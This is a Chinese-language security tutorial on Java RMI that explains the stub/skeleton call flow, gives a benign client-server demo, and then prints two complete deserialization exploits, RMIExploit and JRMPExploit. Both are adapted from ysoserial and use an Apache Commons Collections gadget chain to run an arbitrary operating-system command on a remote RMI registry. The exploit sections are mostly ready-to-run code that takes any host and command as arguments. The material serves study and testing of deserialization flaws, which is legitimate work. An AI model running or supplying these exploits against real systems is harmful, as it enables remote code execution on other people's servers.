java安全(三)RMI

给个关注?宝儿!
给个关注?宝儿!
给个关注?宝儿!

在这里插入图片描述

1.RMI 是什么

RMI(Remote Method Invocation)即Java远程方法调用,RMI用于构建分布式应用程序,RMI实现了Java程序之间跨JVM的远程通信。
在这里插入图片描述RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制,RMI调用远程方法的大致如下:

1.RMI客户端在调用远程方法时会先创建2.Stub(sun.rmi.registry.RegistryImpl_Stub)。
Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。
3.RemoteCall序列化RMI服务名称、Remote对象。
4.RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层。
5.RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给6.Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)。
7.Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。
Skeleton处理客户端请求:bind、list、lookup、rebind、unbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。
8.RMI客户端反序列化服务端结果,获取远程对象的引用。
9.RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
10.RMI客户端反序列化RMI远程方法调用结果。
Back

2.RMI远程方法调用测试

第一步我们需要先启动RMI服务端,并注册服务。

RMI服务端注册服务代码:

package com.anbai.sec.rmi;import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;public class RMIServerTest {// RMI服务器IP地址public static final String RMI_HOST = "127.0.0.1";// RMI服务端口public static final int RMI_PORT = 9527;// RMI服务名称public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";public static void main(String[] args) {try {// 注册RMI端口LocateRegistry.createRegistry(RMI_PORT);// 绑定Remote对象Naming.bind(RMI_NAME, new RMITestImpl());System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);} catch (Exception e) {e.printStackTrace();}}}

程序运行结果:

copyRMI服务启动成功,服务地址:rmi://127.0.0.1:9527/test

Naming.bind(RMI_NAME, new RMITestImpl())绑定的是服务端的一个类实例,RMI客户端需要有这个实例的接口代码(RMITestInterface.java),RMI客户端调用服务器端的RMI服务时会返回这个服务所绑定的对象引用,RMI客户端可以通过该引用对象调用远程的服务实现类的方法并获取方法执行结果。

RMITestInterface示例代码:

package com.anbai.sec.rmi;import java.rmi.Remote;
import java.rmi.RemoteException;/*** RMI测试接口*/
public interface RMITestInterface extends Remote {/*** RMI测试方法** @return 返回测试字符串*/String test() throws RemoteException;}

这个区别于普通的接口调用,这个接口在RMI客户端中没有实现代码,接口的实现代码在RMI服务端。

服务端RMITestInterface实现代码示例代码:

package com.anbai.sec.rmi;import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;public class RMITestImpl extends UnicastRemoteObject implements RMITestInterface {private static final long serialVersionUID = 1L;protected RMITestImpl() throws RemoteException {super();}/*** RMI测试方法** @return 返回测试字符串*/@Overridepublic String test() throws RemoteException {return "Hello RMI~";}}

RMI客户端示例代码:

package com.anbai.sec.rmi;import java.rmi.Naming;import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;public class RMIClientTest {public static void main(String[] args) {try {// 查找远程RMI服务RMITestInterface rt = (RMITestInterface) Naming.lookup(RMI_NAME);// 调用远程接口RMITestInterface类的test方法String result = rt.test();// 输出RMI方法调用结果System.out.println(result);} catch (Exception e) {e.printStackTrace();}}
}

程序运行结果:

copyHello RMI~

3. RMI反序列化漏洞

RMI通信中所有的对象都是通过Java序列化传输的,在学习Java序列化机制的时候我们讲到只要有Java对象反序列化操作就有可能有漏洞。

既然RMI使用了反序列化机制来传输Remote对象,那么可以通过构建一个恶意的Remote对象,这个对象经过序列化后传输到服务器端,服务器端在反序列化时候就会触发反序列化漏洞。

首先我们依旧使用上述com.anbai.sec.rmi.RMIServerTest的代码,创建一个RMI服务,然后我们来构建一个恶意的Remote对象并通过bind请求发送给服务端。

RMI客户端反序列化攻击示例代码:

package com.anbai.sec.rmi;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSocketFactory;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClientSocketFactory;
import java.security.cert.X509Certificate;
import java.util.HashMap;
import java.util.Map;import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;/*** RMI反序列化漏洞利用,修改自ysoserial的RMIRegistryExploit:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java** @author yz*/
public class RMIExploit {// 定义AnnotationInvocationHandler类常量public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";/*** 信任SSL证书*/private static class TrustAllSSL implements X509TrustManager {private static final X509Certificate[] ANY_CA = {};public X509Certificate[] getAcceptedIssuers() {return ANY_CA;}public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }}/*** 创建支持SSL的RMI客户端*/private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {public Socket createSocket(String host, int port) throws IOException {try {// 获取SSLContext对象SSLContext ctx = SSLContext.getInstance("TLS");// 默认信任服务器端SSLctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);// 获取SSL Socket连接工厂SSLSocketFactory factory = ctx.getSocketFactory();// 创建SSL连接return factory.createSocket(host, port);} catch (Exception e) {throw new IOException(e);}}}/*** 使用动态代理生成基于InvokerTransformer/LazyMap的Payload** @param command 定义需要执行的CMD* @return Payload* @throws Exception 生成Payload异常*/private static InvocationHandler genPayload(String command) throws Exception {// 创建Runtime.getRuntime.exec(cmd)调用链Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})};// 创建ChainedTransformer调用链对象Transformer transformerChain = new ChainedTransformer(transformers);// 使用LazyMap创建一个含有恶意调用链的Transformer类的Map对象final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);// 获取AnnotationInvocationHandler类对象Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);// 获取AnnotationInvocationHandler类的构造方法Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);// 设置构造方法的访问权限constructor.setAccessible(true);// 实例化AnnotationInvocationHandler,// 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, lazyMap);InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);// 使用动态代理创建出Map类型的Payloadfinal Map mapProxy2 = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annHandler);// 实例化AnnotationInvocationHandler,// 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, mapProxy2);return (InvocationHandler) constructor.newInstance(Override.class, mapProxy2);}/*** 执行Payload** @param registry RMI Registry* @param command  需要执行的命令* @throws Exception Payload执行异常*/public static void exploit(final Registry registry, final String command) throws Exception {// 生成Payload动态代理对象Object payload = genPayload(command);String name    = "test" + System.nanoTime();// 创建一个含有Payload的恶意mapMap<String, Object> map = new HashMap();map.put(name, payload);// 获取AnnotationInvocationHandler类对象Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);// 获取AnnotationInvocationHandler类的构造方法Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);// 设置构造方法的访问权限constructor.setAccessible(true);// 实例化AnnotationInvocationHandler,// 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, map);InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, map);// 使用动态代理创建出Remote类型的PayloadRemote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, annHandler);try {// 发送Payloadregistry.bind(name, remote);} catch (Throwable e) {e.printStackTrace();}}public static void main(String[] args) throws Exception {if (args.length == 0) {// 如果不指定连接参数默认连接本地RMI服务args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};}// 远程RMI服务IPfinal String host = args[0];// 远程RMI服务端口final int port = Integer.parseInt(args[1]);// 需要执行的系统命令final String command = args[2];// 获取远程Registry对象的引用Registry registry = LocateRegistry.getRegistry(host, port);try {// 获取RMI服务注册列表(主要是为了测试RMI连接是否正常)String[] regs = registry.list();for (String reg : regs) {System.out.println("RMI:" + reg);}} catch (ConnectIOException ex) {// 如果连接异常尝试使用SSL建立SSL连接,忽略证书信任错误,默认信任SSL证书registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());}// 执行payloadexploit(registry, command);}}

程序执行后将会在RMI服务端弹出计算器(仅Mac系统,Windows自行修改命令为calc),RMIExploit程序执行的流程大致如下:

使用LocateRegistry.getRegistry(host, port)创建一个RemoteStub对象。
构建一个适用于Apache Commons Collections的恶意反序列化对象(使用的是LazyMap+AnnotationInvocationHandler组合方式)。
使用RemoteStub调用RMI服务端的bind指令,并传入一个使用动态代理创建出来的Remote类型的恶意AnnotationInvocationHandler对象到RMI服务端。
RMI服务端接受到bind请求后会反序列化我们构建的恶意Remote对象从而触发Apache Commons Collections漏洞的RCE。

RMI客户端端bind序列化:
在这里插入图片描述
上图可以看到我们构建的恶意Remote对象会通过RemoteCall序列化然后通过RemoteRef发送到远程的RMI服务端。

RMI服务端bind反序列化:
在这里插入图片描述
具体的实现代码在:sun.rmi.registry.RegistryImpl_Skel类的dispatch方法,其中的$param_Remote_2就是我们RMIExploit传入的恶意Remote的序列化对象。

4.RMI-JRMP反序列化漏洞

JRMP接口的两种常见实现方式:

1.JRMP协议(Java Remote Message Protocol),RMI专用的Java远程消息交换协议。
2.IIOP协议(Internet Inter-ORB Protocol) ,基于 CORBA 实现的对象请求代理协议。

由于RMI数据通信大量的使用了Java的对象反序列化,所以在使用RMI客户端去攻击RMI服务端时需要特别小心,如果本地RMI客户端刚好符合反序列化攻击的利用条件,那么RMI服务端返回一个恶意的反序列化攻击包可能会导致我们被反向攻击。

我们可以通过和RMI服务端建立Socket连接并使用RMI的JRMP协议发送恶意的序列化包,RMI服务端在处理JRMP消息时会反序列化消息对象,从而实现RCE。

JRMP客户端反序列化攻击示例代码:

package com.anbai.sec.rmi;import sun.rmi.server.MarshalOutputStream;
import sun.rmi.transport.TransportConstants;import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.Socket;import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;/*** 利用RMI的JRMP协议发送恶意的序列化包攻击示例,该示例采用Socket协议发送序列化数据,不会反序列化RMI服务器端的数据,* 所以不用担心本地被RMI服务端通过构建恶意数据包攻击,示例程序修改自ysoserial的JRMPClient:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java*/
public class JRMPExploit {public static void main(String[] args) throws IOException {if (args.length == 0) {// 如果不指定连接参数默认连接本地RMI服务args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};}// 远程RMI服务IPfinal String host = args[0];// 远程RMI服务端口final int port = Integer.parseInt(args[1]);// 需要执行的系统命令final String command = args[2];// Socket连接对象Socket socket = null;// Socket输出流OutputStream out = null;try {// 创建恶意的Payload对象Object payloadObject = RMIExploit.genPayload(command);// 建立和远程RMI服务的Socket连接socket = new Socket(host, port);socket.setKeepAlive(true);socket.setTcpNoDelay(true);// 获取Socket的输出流对象out = socket.getOutputStream();// 将Socket的输出流转换成DataOutputStream对象DataOutputStream dos = new DataOutputStream(out);// 创建MarshalOutputStream对象ObjectOutputStream baos = new MarshalOutputStream(dos);// 向远程RMI服务端Socket写入RMI协议并通过JRMP传输Payload序列化对象dos.writeInt(TransportConstants.Magic);// 魔数dos.writeShort(TransportConstants.Version);// 版本dos.writeByte(TransportConstants.SingleOpProtocol);// 协议类型dos.write(TransportConstants.Call);// RMI调用指令baos.writeLong(2); // DGCbaos.writeInt(0);baos.writeLong(0);baos.writeShort(0);baos.writeInt(1); // dirtybaos.writeLong(-669196253586618813L);// 接口Hash值// 写入恶意的序列化对象baos.writeObject(payloadObject);dos.flush();} catch (Exception e) {e.printStackTrace();} finally {// 关闭Socket输出流if (out != null) {out.close();}// 关闭Socket连接if (socket != null) {socket.close();}}}}

测试流程同上面的RMIExploit,这里不再赘述。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/532548.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java安全(四) JNDI

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 1.JNDI JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java…

java安全(五)java反序列化

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 1. 序列化 在调用RMI时,发现接收发送数据都是反序列化数据. 例如JSON和XML等语言,在网络上传递信息,都会用到一些格式化数据,大多数处理方法中&#xff0c…

git merge和rebase的区别与选择

git merge和rebase的区别与选择 转自&#xff1a;https://github.com/geeeeeeeeek/git-recipes/wiki/5.1-%E4%BB%A3%E7%A0%81%E5%90%88%E5%B9%B6%EF%BC%9AMerge%E3%80%81Rebase-%E7%9A%84%E9%80%89%E6%8B%A9#merge BY 童仲毅&#xff08;geeeeeeeeekgithub&#xff09; 这是一篇…

java安全(六)java反序列化2,ysoserial调试

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; ysoserial 下载地址&#xff1a;https://github.com/angelwhu/ysoserial ysoserial可以让⽤户根据⾃⼰选择的利⽤链&#xff0c;⽣成反序列化利⽤数据&…

java安全(七) 反序列化3 CC利用链 TransformedMap版

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 目录图解代码demo涉及的接口与类&#xff1a;TransformedMapTransformerConstantTransformerInvokerTransformerChainedTransformerdome理解总结&#xff1a…

java安全(八)TransformedMap构造POC

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 上一篇构造了一个了commons-collections的demo 【传送门】 package test.org.vulhub.Ser;import org.apache.commons.collections.Transformer; import org…

Pytorch Tutorial 使用torch.autograd进行自动微分

Pytorch Tutorial 使用torch.autograd进行自动微分 本文翻译自 PyTorch 官网教程。 原文&#xff1a;https://pytorch.org/tutorials/beginner/basics/autogradqs_tutorial.html#optional-reading-tensor-gradients-and-jacobian-products 在训练神经网络时&#xff0c;最常使用…

TVM:编译深度学习模型快速上手教程

TVM&#xff1a;编译深度学习模型快速上手教程 本文将展示如何使用 Relay python 前端构建一个神经网络&#xff0c;并使用 TVM 为 Nvidia GPU 生成一个运行时库。 注意我们需要再构建 TVM 时启用了 cuda 和 llvm。 TVM支持的硬件后端总览 在本教程中&#xff0c;我们使用 cu…

TVM:设计与架构

TVM&#xff1a;设计与架构 本文档适用于想要了解 TVM 架构和/或积极开发项目的开发人员。页面组织如下&#xff1a; 示例编译流程概述了 TVM 将模型的高层描述转换为可部署模块所采取的步骤。要开始使用&#xff0c;请先阅读本节。 逻辑架构组件部分描述了逻辑组件。后面的部…

Nvidia CUDA初级教程4 GPU体系架构概述

Nvidia CUDA初级教程4 GPU体系架构概述 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p5 讲师&#xff1a;周斌 本节内容&#xff1a; 为什么需要GPU三种方法提升GPU的处理速度实际GPU的设计举例&#xff1a; NVDIA GTX 480: FermiNVDIA GTX 680: Kepler GP…

Nvidia CUDA初级教程5 CUDA/GPU编程模型

Nvidia CUDA初级教程5 CUDA/GPU编程模型 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p6 讲师&#xff1a;周斌 本节内容&#xff1a; CPU和GPU互动模式GPU线程组织模型&#xff08;需要不停强化&#xff09;GPU存储模型基本的编程问题 CPU与GPU交互 各自…

Nvidia CUDA初级教程6 CUDA编程一

Nvidia CUDA初级教程6 CUDA编程一 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p7 讲师&#xff1a;周斌 GPU架构概览 GPU特别使用于&#xff1a; 密集计算&#xff0c;高度可并行计算图形学 晶体管主要被用于&#xff1a; 执行计算而不是 缓存数据控制指令…

由前中后遍历序列构建二叉树

由前/中/后遍历序列构建二叉树 基础 首先&#xff0c;我们需要知道前中后序三种深度优先遍历二叉树的方式的具体顺序&#xff1a; 前序&#xff1a;中左右中序&#xff1a;左中右后序&#xff1a;左右中 另外&#xff0c;要知道只有中序前/后序可以唯一确定一棵二叉树&…

目标检测综述

目标检测综述 转自&#xff1a;https://zhuanlan.zhihu.com/p/383616728 论文参考&#xff1a;[Object Detection in 20 Years: A Survey][https://arxiv.org/abs/1905.05055] 引言 目标检测领域发展至今已有二十余载&#xff0c;从早期的传统方法到如今的深度学习方法&#x…

Nvidia CUDA初级教程7 CUDA编程二

Nvidia CUDA初级教程7 CUDA编程二 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p8 讲师&#xff1a;周斌 本节内容&#xff1a; 内置类型和函数 Built-ins and functions线程同步 Synchronizing线程调度 Scheduling threads存储模型 Memory model重访 Matr…

详解优酷视频质量评价体系

万字长文 | 详解优酷视频质量评价体系 分享嘉宾&#xff5c;李静博士&#xff0c;阿里巴巴文娱集团资深算法专家&#xff0c;阿里巴巴大文娱摩酷实验室视频体验与质量团队负责人 整理出品&#xff5c;AICUG人工智能社区 本文地址&#xff1a;https://www.6aiq.com/article/1617…

视频质量评价:挑战与机遇

视频质量评价&#xff1a;挑战与机遇 转自&#xff1a;https://zhuanlan.zhihu.com/p/384603663 本文整理自鹏城实验室助理研究员王海强在LiveVideoStack线上分享上的演讲。他通过自身的实践经验&#xff0c;详细讲解了视频质量评价的挑战与机遇。 文 / 王海强 整理 / LiveVi…

关于二分法的边界问题及两种写法

关于二分法的边界问题及两种写法 二分查找法大家很熟悉了&#xff0c;对于一个有序序列&#xff0c;我们可以通过二分查找法在 O(logN)O(logN)O(logN) 的时间内找到想要的元素。但是&#xff0c;在代码实现的过程中&#xff0c;如果没有仔细理解清楚&#xff0c;二分法的边界条…

Segmentaion标签的三种表示:poly、mask、rle

Segmentaion标签的三种表示&#xff1a;poly、mask、rle 不同于图像分类这样比较简单直接的计算机视觉任务&#xff0c;图像分割任务&#xff08;又分为语义分割、实例分割、全景分割&#xff09;的标签形式稍为复杂。在分割任务中&#xff0c;我们需要在像素级上表达的是一张…

Ubuntu PPA 使用指南

Ubuntu PPA 使用指南 转自&#xff1a;https://zhuanlan.zhihu.com/p/55250294 一篇涵盖了在 Ubuntu 和其他 Linux 发行版中使用 PPA 的几乎所有问题的深入的文章。 如果你一直在使用 Ubuntu 或基于 Ubuntu 的其他 Linux 发行版&#xff0c;例如 Linux Mint、Linux Lite、Zorin…